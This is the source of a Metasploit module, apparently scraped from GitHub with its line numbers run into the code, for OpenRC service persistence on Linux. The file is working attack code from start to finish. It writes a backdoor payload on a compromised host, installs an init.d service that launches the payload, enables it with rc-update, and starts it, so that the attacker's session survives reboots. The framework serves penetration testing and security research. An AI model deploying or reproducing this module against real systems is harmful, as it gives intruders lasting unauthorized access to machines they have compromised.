Path: blob/master/modules/exploits/linux/persistence/init_openrc.rb
23592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::FileDropper11include Msf::Exploit::EXE # for generate_payload_exe12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/linux/local/service_persistence'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Init OpenRC Persistence',22'Description' => %q{23This module will create a service on the box via OpenRC, and mark it for auto-restart.24We need enough access to write service files and potentially restart services.25Verified against alpine 3.21.226},27'License' => MSF_LICENSE,28'Author' => [29'h00die',30],31'Platform' => ['unix', 'linux'],32'Targets' => [33['Automatic', {}]34],35'DefaultTarget' => 0,36'Arch' => [37ARCH_CMD,38ARCH_X86,39ARCH_X64,40ARCH_ARMLE,41ARCH_AARCH64,42ARCH_PPC,43ARCH_MIPSLE,44ARCH_MIPSBE45],46'References' => [47['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],48['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],49['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'],50['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'],51['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'],52],53'SessionTypes' => ['shell', 'meterpreter'],54'Notes' => {55'Stability' => [CRASH_SAFE],56'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],57'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]58},59'DisclosureDate' => '2007-04-05' # openrc release date60)61)6263register_options(64[65OptString.new('SERVICE', [false, 'Name of service to create']),66OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),67]68)69register_advanced_options(70[71OptBool.new('EnableService', [true, 'Enable the service', true])72]73)74end7576def check77print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')78return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)79return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)80return CheckCode::Safe('/etc/init.d/ doesnt exist') unless exists?('/etc/init.d/')81return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')8283return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc')8485CheckCode::Appears("#{writable_dir} is writable and system is openrc based")86end8788def install_persistence89print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')90backdoor = write_shell(writable_dir)9192path = backdoor.split('/')[0...-1].join('/')93file = backdoor.split('/')[-1]9495openrc(path, file)96end9798def write_shell(path)99file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)100backdoor = "#{path}/#{file_name}"101vprint_status("Writing backdoor to #{backdoor}")102103if payload.arch.first == 'cmd'104write_file(backdoor, payload.encoded)105chmod(backdoor, 0o755)106else107upload_and_chmodx(backdoor, generate_payload_exe)108end109110@clean_up_rc << "rm #{backdoor}\n"111112fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)113backdoor114end115116def openrc(backdoor_path, backdoor_file)117if payload.arch.first == 'cmd'118script = %(#!/sbin/openrc-run119name=#{backdoor_file}120command=/bin/sh121command_args="#{backdoor_path}/#{backdoor_file}"122pidfile="/run/${RC_SVCNAME}.pid"123command_background="yes"124)125else126script = %(#!/sbin/openrc-run127name=#{backdoor_file}128command="#{backdoor_path}/#{backdoor_file}"129command_args=""130pidfile="/run/${RC_SVCNAME}.pid"131command_background="yes"132)133end134135service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)136service_path = "/etc/init.d/#{service_filename}"137vprint_status("Writing service: #{service_path}")138begin139upload_and_chmodx(service_path, script)140@clean_up_rc << "rm #{service_path}\n"141rescue Rex::Post::Meterpreter::RequestError142print_error("Writing '#{service_path}' to the target and or changing the file permissions failed")143end144145fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_path)146147if datastore['EnableService']148vprint_status('Enabling service')149cmd_exec("rc-update add '#{service_filename}'")150@clean_up_rc << "execute -f sh -a \"-c 'rc-update del #{service_filename}'\""151end152153print_good('Starting service')154cmd_exec("'#{service_path}' start")155end156end157158159